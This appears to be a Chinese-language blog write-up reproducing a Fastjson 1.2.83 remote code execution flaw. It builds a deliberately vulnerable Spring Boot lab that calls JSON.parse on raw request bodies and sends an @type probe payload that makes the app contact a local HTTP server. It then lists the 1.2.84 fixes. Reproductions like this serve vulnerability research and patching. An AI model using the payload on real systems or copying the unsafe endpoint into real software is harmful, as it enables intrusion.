CVE-2026-16723复现(fastjson rce)

2026-08-03

1. 漏洞介绍

Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,支持将 Java 对象序列化为 JSON 字符串以及将 JSON 字符串反序列化为 Java 对象。该库凭借其出色的解析性能和简洁的 API 设计,在国内 Java 生态系统中占据主导地位,被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景,是国内 Java 开发者最常用的 JSON 处理组件之一。
近期fastjson被爆出有CVE,能够做到RCE,阿里官方库也报了相应的情况
https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83
其cve编号:
https://www.cve.org/CVERecord?id=CVE-2026-16723

2. 漏洞复现

2.1 环境构建

目录结构:

fastjson-cve-lab/
├─ pom.xml
└─ src/main/
   ├─ java/lab/Application.java
   └─ resources/application.properties

pom.xml内容:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         https://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
    </parent>

    <groupId>lab</groupId>
    <artifactId>fastjson-cve-lab</artifactId>
    <version>0.0.1-SNAPSHOT</version>

    <properties>
        <java.version>17</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- 漏洞版本 -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

src/main/java/lab/Application.java:

package lab;

import com.alibaba.fastjson.JSON;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    @PostMapping(value = "/parse", consumes = "application/json")
    public String parse(@RequestBody String body) {
        try {
            JSON.parse(body);
            return "parsed";
        } catch (Exception e) {
            return e.getClass().getName() + ": " + e.getMessage();
        }
    }
}

src/main/resources/application.properties:

server.address=127.0.0.1
server.port=8080

确保内容已经填充后,使用mvn进行打包:

mvn -q -DskipTests clean package
mvn dependency:tree "-Dincludes=com.alibaba:fastjson"

2.2 实际验证

确保构建的包没有出问题:

jar tf .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar |
    Select-String "BOOT-INF/lib/fastjson"

启动构建的java包:

java -jar .\target\fastjson-cve-lab-0.0.1-SNAPSHOT.jar

因为笔者在windows下复现该漏洞,不想多做折腾,为了验证该服务确实执行了我注入的命令,我在本地起了一个http服务器

python -m http.server 31337 --bind 127.0.0.1

如果本地服务器能够收到来自fastjson应用的请求,说明命令执行成功了(并没有考虑完整的利用方法,仅复现)
现在对fastjson应用发送请求:

$body = '{"@type":"http://2130706433:31337/probe"}'

Invoke-WebRequest `
  -Uri "http://127.0.0.1:8080/parse" `
  -Method Post `
  -ContentType "application/json" `
  -Body $body

说明fastjson应用解析了我的恶意请求,朝着我自己启动的python服务器发送了请求。

3. 漏洞修复

官方说明中,1.2.84 主要进行了这些修改:

1. 在 ParserConfig.checkAutoType 和 TypeUtils.loadClass 中提前拒绝包含 :、! 等 URL 特殊字符的类型名。

2. 阻止攻击者控制的类型名进入 getResourceAsStream() 资源探测和类加载路径。

3. 白名单哈希命中后增加类型名文本复核。

4. 防止白名单前缀覆盖 ClassLoader、DataSource、RowSet 等危险基类。

5. 修复重复解析时可能从类缓存中返回黑名单类的问题。

相关链接:https://github.com/alibaba/fastjson/commit/ad353ff71e27a587bfb18cab329572fd5cc44ea6

4. 插曲: 长亭发现fastjson2 rce问题

这个cve在刚发布没一周,长亭就宣布其发现了fastjson2中存在类似的rce问题。
【原创0day】Fastjson2 远程代码执行漏洞
合理猜测是在已知fastjson漏洞的情况下,在fastjson2中用人上人模型跑了一把有没有类似漏洞,还真给他找到了….(猜的,猜的,猜的)
fastjson2的问题最终没有cve编号,而是合并到https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83中一并解释了另一个问题并做了修复。
详情可看https://github.com/alibaba/fastjson2/releases/tag/2.0.63

references

https://fearsoff.org/cn/research/fastjson-1-2-83-rce
https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83
https://www.cve.org/CVERecord?id=CVE-2026-16723
【原创0day】Fastjson2 远程代码执行漏洞